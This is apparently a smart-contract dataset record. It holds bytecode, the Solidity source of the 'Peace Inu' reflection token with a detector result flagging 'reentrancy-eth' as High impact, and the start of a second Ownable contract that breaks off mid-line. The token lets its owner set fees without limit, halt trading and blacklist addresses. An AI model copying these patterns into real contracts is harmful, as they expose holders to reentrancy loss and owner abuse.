ffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610f299092919063ffffffff16565b600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550610e7c81600260008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054610fe990919063ffffffff16565b600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040518082815260200191505060405180910390a3505050565b6000838311158290610fd6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825283818151815260200191508051906020019080838360005b83811015610f9b578082015181840152602081019050610f80565b50505050905090810190601f168015610fc85780820380516001836020036101000a031916815260200191505b509250505060405180910390fd5b5060008385039050809150509392505050565b600080828401905083811015611067576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f536166654d6174683a206164646974696f6e206f766572666c6f77000000000081525060200191505060405180910390fd5b809150509291505056fe42455032303a207472616e736665722066726f6d20746865207a65726f206164647265737345524332303a20617070726f766520746f20746865207a65726f206164647265737345524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e636542455032303a207472616e7366657220616d6f756e7420657863656564732062616c616e636542455032303a207472616e7366657220746f20746865207a65726f206164647265737345524332303a20617070726f76652066726f6d20746865207a65726f2061646472657373a2646970667358221220131384840f9f73adbab593dc1387aefa878679e0d347ab62c48d5577ada97e6d64736f6c634300060c0033
{"success": true, "error": null, "results": {}}
7,694
0x56a9B4cb7D10D29295aB74500A01b1512F16fc0d
/** *Submitted for verification at Etherscan.io on 2022-04-03 */ /** https://t.me/PeaceInuERC */ /** */ // SPDX-License-Identifier: Unlicensed pragma solidity ^0.8.9; abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom( address sender, address recipient, uint256 amount ) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval( address indexed owner, address indexed spender, uint256 value ); } contract Ownable is Context { address private _owner; address private _previousOwner; event OwnershipTransferred( address indexed previousOwner, address indexed newOwner ); constructor() { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div( uint256 a, uint256 b, string memory errorMessage ) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IUniswapV2Router02 { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint256 amountIn, uint256 amountOutMin, address[] calldata path, address to, uint256 deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint256 amountTokenDesired, uint256 amountTokenMin, uint256 amountETHMin, address to, uint256 deadline ) external payable returns ( uint256 amountToken, uint256 amountETH, uint256 liquidity ); } contract PeaceInu is Context, IERC20, Ownable { using SafeMath for uint256; string private constant _name = "Peace Inu"; string private constant _symbol = "PINU"; uint8 private constant _decimals = 9; mapping(address => uint256) private _rOwned; mapping(address => uint256) private _tOwned; mapping(address => mapping(address => uint256)) private _allowances; mapping(address => bool) private _isExcludedFromFee; uint256 private constant MAX = ~uint256(0); uint256 private constant _tTotal = 1000000000 * 10**9; uint256 private _rTotal = (MAX - (MAX % _tTotal)); uint256 private _tFeeTotal; uint256 private _redisFeeOnBuy = 1; uint256 private _taxFeeOnBuy = 11; uint256 private _redisFeeOnSell = 1; uint256 private _taxFeeOnSell = 11; //Original Fee uint256 private _redisFee = _redisFeeOnSell; uint256 private _taxFee = _taxFeeOnSell; uint256 private _previousredisFee = _redisFee; uint256 private _previoustaxFee = _taxFee; mapping(address => bool) public bots; mapping (address => uint256) public _buyMap; address payable private _developmentAddress = payable(0x6FA2DBF8b499CaA9cDF60F31833e808209025cb3); address payable private _marketingAddress = payable(0x6FA2DBF8b499CaA9cDF60F31833e808209025cb3); IUniswapV2Router02 public uniswapV2Router; address public uniswapV2Pair; bool private tradingOpen; bool private inSwap = false; bool private swapEnabled = true; uint256 public _maxTxAmount = 1000000000 * 10**9; uint256 public _maxWalletSize = 20000000 * 10**9; uint256 public _swapTokensAtAmount = 10000000 * 10**9; event MaxTxAmountUpdated(uint256 _maxTxAmount); modifier lockTheSwap { inSwap = true; _; inSwap = false; } constructor() { _rOwned[_msgSender()] = _rTotal; IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);// uniswapV2Router = _uniswapV2Router; uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory()) .createPair(address(this), _uniswapV2Router.WETH()); _isExcludedFromFee[owner()] = true; _isExcludedFromFee[address(this)] = true; _isExcludedFromFee[_developmentAddress] = true; _isExcludedFromFee[_marketingAddress] = true; emit Transfer(address(0), _msgSender(), _tTotal); } function name() public pure returns (string memory) { return _name; } function symbol() public pure returns (string memory) { return _symbol; } function decimals() public pure returns (uint8) { return _decimals; } function totalSupply() public pure override returns (uint256) { return _tTotal; } function balanceOf(address account) public view override returns (uint256) { return tokenFromReflection(_rOwned[account]); } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom( address sender, address recipient, uint256 amount ) public override returns (bool) { _transfer(sender, recipient, amount); _approve( sender, _msgSender(), _allowances[sender][_msgSender()].sub( amount, "ERC20: transfer amount exceeds allowance" ) ); return true; } function tokenFromReflection(uint256 rAmount) private view returns (uint256) { require( rAmount <= _rTotal, "Amount must be less than total reflections" ); uint256 currentRate = _getRate(); return rAmount.div(currentRate); } function removeAllFee() private { if (_redisFee == 0 && _taxFee == 0) return; _previousredisFee = _redisFee; _previoustaxFee = _taxFee; _redisFee = 0; _taxFee = 0; } function restoreAllFee() private { _redisFee = _previousredisFee; _taxFee = _previoustaxFee; } function _approve( address owner, address spender, uint256 amount ) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function _transfer( address from, address to, uint256 amount ) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); if (from != owner() && to != owner()) { //Trade start check if (!tradingOpen) { require(from == owner(), "TOKEN: This account cannot send tokens until trading is enabled"); } require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit"); require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!"); if(to != uniswapV2Pair) { require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!"); } uint256 contractTokenBalance = balanceOf(address(this)); bool canSwap = contractTokenBalance >= _swapTokensAtAmount; if(contractTokenBalance >= _maxTxAmount) { contractTokenBalance = _maxTxAmount; } if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled && !_isExcludedFromFee[from] && !_isExcludedFromFee[to]) { swapTokensForEth(contractTokenBalance); uint256 contractETHBalance = address(this).balance; if (contractETHBalance > 0) { sendETHToFee(address(this).balance); } } } bool takeFee = true; //Transfer Tokens if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) { takeFee = false; } else { //Set Fee for Buys if(from == uniswapV2Pair && to != address(uniswapV2Router)) { _redisFee = _redisFeeOnBuy; _taxFee = _taxFeeOnBuy; } //Set Fee for Sells if (to == uniswapV2Pair && from != address(uniswapV2Router)) { _redisFee = _redisFeeOnSell; _taxFee = _taxFeeOnSell; } } _tokenTransfer(from, to, amount, takeFee); } function swapTokensForEth(uint256 tokenAmount) private lockTheSwap { address[] memory path = new address[](2); path[0] = address(this); path[1] = uniswapV2Router.WETH(); _approve(address(this), address(uniswapV2Router), tokenAmount); uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens( tokenAmount, 0, path, address(this), block.timestamp ); } function sendETHToFee(uint256 amount) private { _marketingAddress.transfer(amount); } function setTrading(bool _tradingOpen) public onlyOwner { tradingOpen = _tradingOpen; } function manualswap() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractBalance = balanceOf(address(this)); swapTokensForEth(contractBalance); } function manualsend() external { require(_msgSender() == _developmentAddress || _msgSender() == _marketingAddress); uint256 contractETHBalance = address(this).balance; sendETHToFee(contractETHBalance); } function blockBots(address[] memory bots_) public onlyOwner { for (uint256 i = 0; i < bots_.length; i++) { bots[bots_[i]] = true; } } function unblockBot(address notbot) public onlyOwner { bots[notbot] = false; } function _tokenTransfer( address sender, address recipient, uint256 amount, bool takeFee ) private { if (!takeFee) removeAllFee(); _transferStandard(sender, recipient, amount); if (!takeFee) restoreAllFee(); } function _transferStandard( address sender, address recipient, uint256 tAmount ) private { ( uint256 rAmount, uint256 rTransferAmount, uint256 rFee, uint256 tTransferAmount, uint256 tFee, uint256 tTeam ) = _getValues(tAmount); _rOwned[sender] = _rOwned[sender].sub(rAmount); _rOwned[recipient] = _rOwned[recipient].add(rTransferAmount); _takeTeam(tTeam); _reflectFee(rFee, tFee); emit Transfer(sender, recipient, tTransferAmount); } function _takeTeam(uint256 tTeam) private { uint256 currentRate = _getRate(); uint256 rTeam = tTeam.mul(currentRate); _rOwned[address(this)] = _rOwned[address(this)].add(rTeam); } function _reflectFee(uint256 rFee, uint256 tFee) private { _rTotal = _rTotal.sub(rFee); _tFeeTotal = _tFeeTotal.add(tFee); } receive() external payable {} function _getValues(uint256 tAmount) private view returns ( uint256, uint256, uint256, uint256, uint256, uint256 ) { (uint256 tTransferAmount, uint256 tFee, uint256 tTeam) = _getTValues(tAmount, _redisFee, _taxFee); uint256 currentRate = _getRate(); (uint256 rAmount, uint256 rTransferAmount, uint256 rFee) = _getRValues(tAmount, tFee, tTeam, currentRate); return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam); } function _getTValues( uint256 tAmount, uint256 redisFee, uint256 taxFee ) private pure returns ( uint256, uint256, uint256 ) { uint256 tFee = tAmount.mul(redisFee).div(100); uint256 tTeam = tAmount.mul(taxFee).div(100); uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam); return (tTransferAmount, tFee, tTeam); } function _getRValues( uint256 tAmount, uint256 tFee, uint256 tTeam, uint256 currentRate ) private pure returns ( uint256, uint256, uint256 ) { uint256 rAmount = tAmount.mul(currentRate); uint256 rFee = tFee.mul(currentRate); uint256 rTeam = tTeam.mul(currentRate); uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam); return (rAmount, rTransferAmount, rFee); } function _getRate() private view returns (uint256) { (uint256 rSupply, uint256 tSupply) = _getCurrentSupply(); return rSupply.div(tSupply); } function _getCurrentSupply() private view returns (uint256, uint256) { uint256 rSupply = _rTotal; uint256 tSupply = _tTotal; if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal); return (rSupply, tSupply); } function setFee(uint256 redisFeeOnBuy, uint256 redisFeeOnSell, uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner { _redisFeeOnBuy = redisFeeOnBuy; _redisFeeOnSell = redisFeeOnSell; _taxFeeOnBuy = taxFeeOnBuy; _taxFeeOnSell = taxFeeOnSell; } //Set minimum tokens required to swap. function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner { _swapTokensAtAmount = swapTokensAtAmount; } //Set minimum tokens required to swap. function toggleSwap(bool _swapEnabled) public onlyOwner { swapEnabled = _swapEnabled; } //Set maximum transaction function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner { _maxTxAmount = maxTxAmount; } function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner { _maxWalletSize = maxWalletSize; } function excludeMultipleAccountsFromFees(address[] calldata accounts, bool excluded) public onlyOwner { for(uint256 i = 0; i < accounts.length; i++) { _isExcludedFromFee[accounts[i]] = excluded; } } }
0x6080604052600436106101d05760003560e01c80637d1db4a5116100f7578063a2a957bb11610095578063c492f04611610064578063c492f04614610554578063dd62ed3e14610574578063ea1644d5146105ba578063f2fde38b146105da57600080fd5b8063a2a957bb146104cf578063a9059cbb146104ef578063bfd792841461050f578063c3c8cd801461053f57600080fd5b80638f70ccf7116100d15780638f70ccf71461044c5780638f9a55c01461046c57806395d89b411461048257806398a5c315146104af57600080fd5b80637d1db4a5146103eb5780637f2feddc146104015780638da5cb5b1461042e57600080fd5b8063313ce5671161016f5780636fc3eaec1161013e5780636fc3eaec1461038157806370a0823114610396578063715018a6146103b657806374010ece146103cb57600080fd5b8063313ce5671461030557806349bd5a5e146103215780636b999053146103415780636d8aa8f81461036157600080fd5b80631694505e116101ab5780631694505e1461027257806318160ddd146102aa57806323b872dd146102cf5780632fd689e3146102ef57600080fd5b8062b8cf2a146101dc57806306fdde03146101fe578063095ea7b31461024257600080fd5b366101d757005b600080fd5b3480156101e857600080fd5b506101fc6101f736600461195e565b6105fa565b005b34801561020a57600080fd5b50604080518082019091526009815268506561636520496e7560b81b60208201525b6040516102399190611a23565b60405180910390f35b34801561024e57600080fd5b5061026261025d366004611a78565b610699565b6040519015158152602001610239565b34801561027e57600080fd5b50601454610292906001600160a01b031681565b6040516001600160a01b039091168152602001610239565b3480156102b657600080fd5b50670de0b6b3a76400005b604051908152602001610239565b3480156102db57600080fd5b506102626102ea366004611aa4565b6106b0565b3480156102fb57600080fd5b506102c160185481565b34801561031157600080fd5b5060405160098152602001610239565b34801561032d57600080fd5b50601554610292906001600160a01b031681565b34801561034d57600080fd5b506101fc61035c366004611ae5565b610719565b34801561036d57600080fd5b506101fc61037c366004611b12565b610764565b34801561038d57600080fd5b506101fc6107ac565b3480156103a257600080fd5b506102c16103b1366004611ae5565b6107f7565b3480156103c257600080fd5b506101fc610819565b3480156103d757600080fd5b506101fc6103e6366004611b2d565b61088d565b3480156103f757600080fd5b506102c160165481565b34801561040d57600080fd5b506102c161041c366004611ae5565b60116020526000908152604090205481565b34801561043a57600080fd5b506000546001600160a01b0316610292565b34801561045857600080fd5b506101fc610467366004611b12565b6108bc565b34801561047857600080fd5b506102c160175481565b34801561048e57600080fd5b5060408051808201909152600481526350494e5560e01b602082015261022c565b3480156104bb57600080fd5b506101fc6104ca366004611b2d565b610904565b3480156104db57600080fd5b506101fc6104ea366004611b46565b610933565b3480156104fb57600080fd5b5061026261050a366004611a78565b610971565b34801561051b57600080fd5b5061026261052a366004611ae5565b60106020526000908152604090205460ff1681565b34801561054b57600080fd5b506101fc61097e565b34801561056057600080fd5b506101fc61056f366004611b78565b6109d2565b34801561058057600080fd5b506102c161058f366004611bfc565b6001600160a01b03918216600090815260046020908152604080832093909416825291909152205490565b3480156105c657600080fd5b506101fc6105d5366004611b2d565b610a73565b3480156105e657600080fd5b506101fc6105f5366004611ae5565b610aa2565b6000546001600160a01b0316331461062d5760405162461bcd60e51b815260040161062490611c35565b60405180910390fd5b60005b81518110156106955760016010600084848151811061065157610651611c6a565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061068d81611c96565b915050610630565b5050565b60006106a6338484610b8c565b5060015b92915050565b60006106bd848484610cb0565b61070f843361070a85604051806060016040528060288152602001611db0602891396001600160a01b038a16600090815260046020908152604080832033845290915290205491906111ec565b610b8c565b5060019392505050565b6000546001600160a01b031633146107435760405162461bcd60e51b815260040161062490611c35565b6001600160a01b03166000908152601060205260409020805460ff19169055565b6000546001600160a01b0316331461078e5760405162461bcd60e51b815260040161062490611c35565b60158054911515600160b01b0260ff60b01b19909216919091179055565b6012546001600160a01b0316336001600160a01b031614806107e157506013546001600160a01b0316336001600160a01b0316145b6107ea57600080fd5b476107f481611226565b50565b6001600160a01b0381166000908152600260205260408120546106aa90611260565b6000546001600160a01b031633146108435760405162461bcd60e51b815260040161062490611c35565b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031633146108b75760405162461bcd60e51b815260040161062490611c35565b601655565b6000546001600160a01b031633146108e65760405162461bcd60e51b815260040161062490611c35565b60158054911515600160a01b0260ff60a01b19909216919091179055565b6000546001600160a01b0316331461092e5760405162461bcd60e51b815260040161062490611c35565b601855565b6000546001600160a01b0316331461095d5760405162461bcd60e51b815260040161062490611c35565b600893909355600a91909155600955600b55565b60006106a6338484610cb0565b6012546001600160a01b0316336001600160a01b031614806109b357506013546001600160a01b0316336001600160a01b0316145b6109bc57600080fd5b60006109c7306107f7565b90506107f4816112e4565b6000546001600160a01b031633146109fc5760405162461bcd60e51b815260040161062490611c35565b60005b82811015610a6d578160056000868685818110610a1e57610a1e611c6a565b9050602002016020810190610a339190611ae5565b6001600160a01b031681526020810191909152604001600020805460ff191691151591909117905580610a6581611c96565b9150506109ff565b50505050565b6000546001600160a01b03163314610a9d5760405162461bcd60e51b815260040161062490611c35565b601755565b6000546001600160a01b03163314610acc5760405162461bcd60e51b815260040161062490611c35565b6001600160a01b038116610b315760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610624565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b6001600160a01b038316610bee5760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610624565b6001600160a01b038216610c4f5760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610624565b6001600160a01b0383811660008181526004602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b038316610d145760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610624565b6001600160a01b038216610d765760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610624565b60008111610dd85760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b6064820152608401610624565b6000546001600160a01b03848116911614801590610e0457506000546001600160a01b03838116911614155b156110e557601554600160a01b900460ff16610e9d576000546001600160a01b03848116911614610e9d5760405162461bcd60e51b815260206004820152603f60248201527f544f4b454e3a2054686973206163636f756e742063616e6e6f742073656e642060448201527f746f6b656e7320756e74696c2074726164696e6720697320656e61626c6564006064820152608401610624565b601654811115610eef5760405162461bcd60e51b815260206004820152601c60248201527f544f4b454e3a204d6178205472616e73616374696f6e204c696d6974000000006044820152606401610624565b6001600160a01b03831660009081526010602052604090205460ff16158015610f3157506001600160a01b03821660009081526010602052604090205460ff16155b610f895760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a20596f7572206163636f756e7420697320626c61636b6c69737460448201526265642160e81b6064820152608401610624565b6015546001600160a01b0383811691161461100e5760175481610fab846107f7565b610fb59190611cb1565b1061100e5760405162461bcd60e51b815260206004820152602360248201527f544f4b454e3a2042616c616e636520657863656564732077616c6c65742073696044820152627a652160e81b6064820152608401610624565b6000611019306107f7565b6018546016549192508210159082106110325760165491505b8080156110495750601554600160a81b900460ff16155b801561106357506015546001600160a01b03868116911614155b80156110785750601554600160b01b900460ff165b801561109d57506001600160a01b03851660009081526005602052604090205460ff16155b80156110c257506001600160a01b03841660009081526005602052604090205460ff16155b156110e2576110d0826112e4565b4780156110e0576110e047611226565b505b50505b6001600160a01b03831660009081526005602052604090205460019060ff168061112757506001600160a01b03831660009081526005602052604090205460ff165b8061115957506015546001600160a01b0385811691161480159061115957506015546001600160a01b03848116911614155b15611166575060006111e0565b6015546001600160a01b03858116911614801561119157506014546001600160a01b03848116911614155b156111a357600854600c55600954600d555b6015546001600160a01b0384811691161480156111ce57506014546001600160a01b03858116911614155b156111e057600a54600c55600b54600d555b610a6d8484848461146d565b600081848411156112105760405162461bcd60e51b81526004016106249190611a23565b50600061121d8486611cc9565b95945050505050565b6013546040516001600160a01b039091169082156108fc029083906000818181858888f19350505050158015610695573d6000803e3d6000fd5b60006006548211156112c75760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b6064820152608401610624565b60006112d161149b565b90506112dd83826114be565b9392505050565b6015805460ff60a81b1916600160a81b179055604080516002808252606082018352600092602083019080368337019050509050308160008151811061132c5761132c611c6a565b6001600160a01b03928316602091820292909201810191909152601454604080516315ab88c960e31b81529051919093169263ad5c4648926004808301939192829003018186803b15801561138057600080fd5b505afa158015611394573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906113b89190611ce0565b816001815181106113cb576113cb611c6a565b6001600160a01b0392831660209182029290920101526014546113f19130911684610b8c565b60145460405163791ac94760e01b81526001600160a01b039091169063791ac9479061142a908590600090869030904290600401611cfd565b600060405180830381600087803b15801561144457600080fd5b505af1158015611458573d6000803e3d6000fd5b50506015805460ff60a81b1916905550505050565b8061147a5761147a611500565b61148584848461152e565b80610a6d57610a6d600e54600c55600f54600d55565b60008060006114a8611625565b90925090506114b782826114be565b9250505090565b60006112dd83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f000000000000815250611665565b600c541580156115105750600d54155b1561151757565b600c8054600e55600d8054600f5560009182905555565b60008060008060008061154087611693565b6001600160a01b038f16600090815260026020526040902054959b5093995091975095509350915061157290876116f0565b6001600160a01b03808b1660009081526002602052604080822093909355908a16815220546115a19086611732565b6001600160a01b0389166000908152600260205260409020556115c381611791565b6115cd84836117db565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8560405161161291815260200190565b60405180910390a3505050505050505050565b6006546000908190670de0b6b3a764000061164082826114be565b82101561165c57505060065492670de0b6b3a764000092509050565b90939092509050565b600081836116865760405162461bcd60e51b81526004016106249190611a23565b50600061121d8486611d6e565b60008060008060008060008060006116b08a600c54600d546117ff565b92509250925060006116c061149b565b905060008060006116d38e878787611854565b919e509c509a509598509396509194505050505091939550919395565b60006112dd83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506111ec565b60008061173f8385611cb1565b9050838110156112dd5760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f7700000000006044820152606401610624565b600061179b61149b565b905060006117a983836118a4565b306000908152600260205260409020549091506117c69082611732565b30600090815260026020526040902055505050565b6006546117e890836116f0565b6006556007546117f89082611732565b6007555050565b6000808080611819606461181389896118a4565b906114be565b9050600061182c60646118138a896118a4565b905060006118448261183e8b866116f0565b906116f0565b9992985090965090945050505050565b600080808061186388866118a4565b9050600061187188876118a4565b9050600061187f88886118a4565b905060006118918261183e86866116f0565b939b939a50919850919650505050505050565b6000826118b3575060006106aa565b60006118bf8385611d90565b9050826118cc8583611d6e565b146112dd5760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b6064820152608401610624565b634e487b7160e01b600052604160045260246000fd5b6001600160a01b03811681146107f457600080fd5b803561195981611939565b919050565b6000602080838503121561197157600080fd5b823567ffffffffffffffff8082111561198957600080fd5b818501915085601f83011261199d57600080fd5b8135818111156119af576119af611923565b8060051b604051601f19603f830116810181811085821117156119d4576119d4611923565b6040529182528482019250838101850191888311156119f257600080fd5b938501935b82851015611a1757611a088561194e565b845293850193928501926119f7565b98975050505050505050565b600060208083528351808285015260005b81811015611a5057858101830151858201604001528201611a34565b81811115611a62576000604083870101525b50601f01601f1916929092016040019392505050565b60008060408385031215611a8b57600080fd5b8235611a9681611939565b946020939093013593505050565b600080600060608486031215611ab957600080fd5b8335611ac481611939565b92506020840135611ad481611939565b929592945050506040919091013590565b600060208284031215611af757600080fd5b81356112dd81611939565b8035801515811461195957600080fd5b600060208284031215611b2457600080fd5b6112dd82611b02565b600060208284031215611b3f57600080fd5b5035919050565b60008060008060808587031215611b5c57600080fd5b5050823594602084013594506040840135936060013592509050565b600080600060408486031215611b8d57600080fd5b833567ffffffffffffffff80821115611ba557600080fd5b818601915086601f830112611bb957600080fd5b813581811115611bc857600080fd5b8760208260051b8501011115611bdd57600080fd5b602092830195509350611bf39186019050611b02565b90509250925092565b60008060408385031215611c0f57600080fd5b8235611c1a81611939565b91506020830135611c2a81611939565b809150509250929050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611caa57611caa611c80565b5060010190565b60008219821115611cc457611cc4611c80565b500190565b600082821015611cdb57611cdb611c80565b500390565b600060208284031215611cf257600080fd5b81516112dd81611939565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611d4d5784516001600160a01b031683529383019391830191600101611d28565b50506001600160a01b03969096166060850152505050608001529392505050565b600082611d8b57634e487b7160e01b600052601260045260246000fd5b500490565b6000816000190483118215151615611daa57611daa611c80565b50029056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220e742071fff6ddc11f425e75ef919709d92c462197c143c6f6c0fcec37d45863364736f6c63430008090033
{"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-eth", "impact": "High", "confidence": "Medium"}]}}
7,695
0x8723eb25Fc67A6ea3693718019fE7294f078D2B2
// SPDX-License-Identifier: (c) Otsea.fi, 2021 pragma solidity ^0.6.12; /** * @title Ownable * @dev The Ownable contract has an owner address, and provides basic authorization control * functions, this simplifies the implementation of "user permissions". * * @dev Completely default OpenZeppelin. */ contract Ownable { address private _owner; address private _pendingOwner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); /** * @dev The Ownable constructor sets the original `owner` of the contract to the sender * account. */ function initializeOwnable() internal { require(_owner == address(0), "already initialized"); _owner = msg.sender; emit OwnershipTransferred(address(0), msg.sender); } /** * @return the address of the owner. */ function owner() public view returns (address) { return _owner; } /** * @dev Throws if called by any account other than the owner. */ modifier onlyOwner() { require(isOwner(), "msg.sender is not owner"); _; } /** * @return true if `msg.sender` is the owner of the contract. */ function isOwner() public view returns (bool) { return msg.sender == _owner; } /** * @dev Allows the current owner to transfer control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function transferOwnership(address newOwner) public onlyOwner { _pendingOwner = newOwner; } function receiveOwnership() public { require(msg.sender == _pendingOwner, "only pending owner can call this function"); _transferOwnership(_pendingOwner); _pendingOwner = address(0); } /** * @dev Transfers control of the contract to a newOwner. * @param newOwner The address to transfer ownership to. */ function _transferOwnership(address newOwner) internal { require(newOwner != address(0)); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } uint256[50] private __gap; } /** * @dev Interface of the ERC20 standard as defined in the EIP. */ interface IERC20 { /** * @dev Returns the amount of tokens in existence. */ function totalSupply() external view returns (uint256); /** * @dev Returns the amount of tokens owned by `account`. */ function balanceOf(address account) external view returns (uint256); /** * @dev Moves `amount` tokens from the caller's account to `recipient`. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transfer(address recipient, uint256 amount) external returns (bool); /** * @dev Returns the remaining number of tokens that `spender` will be * allowed to spend on behalf of `owner` through {transferFrom}. This is * zero by default. * * This value changes when {approve} or {transferFrom} are called. */ function allowance(address owner, address spender) external view returns (uint256); /** * @dev Sets `amount` as the allowance of `spender` over the caller's tokens. * * Returns a boolean value indicating whether the operation succeeded. * * IMPORTANT: Beware that changing an allowance with this method brings the risk * that someone may use both the old and the new allowance by unfortunate * transaction ordering. One possible solution to mitigate this race * condition is to first reduce the spender's allowance to 0 and set the * desired value afterwards: * https://github.com/ethereum/EIPs/issues/20#issuecomment-263524729 * * Emits an {Approval} event. */ function approve(address spender, uint256 amount) external returns (bool); /** * @dev Moves `amount` tokens from `sender` to `recipient` using the * allowance mechanism. `amount` is then deducted from the caller's * allowance. * * Returns a boolean value indicating whether the operation succeeded. * * Emits a {Transfer} event. */ function transferFrom(address sender, address 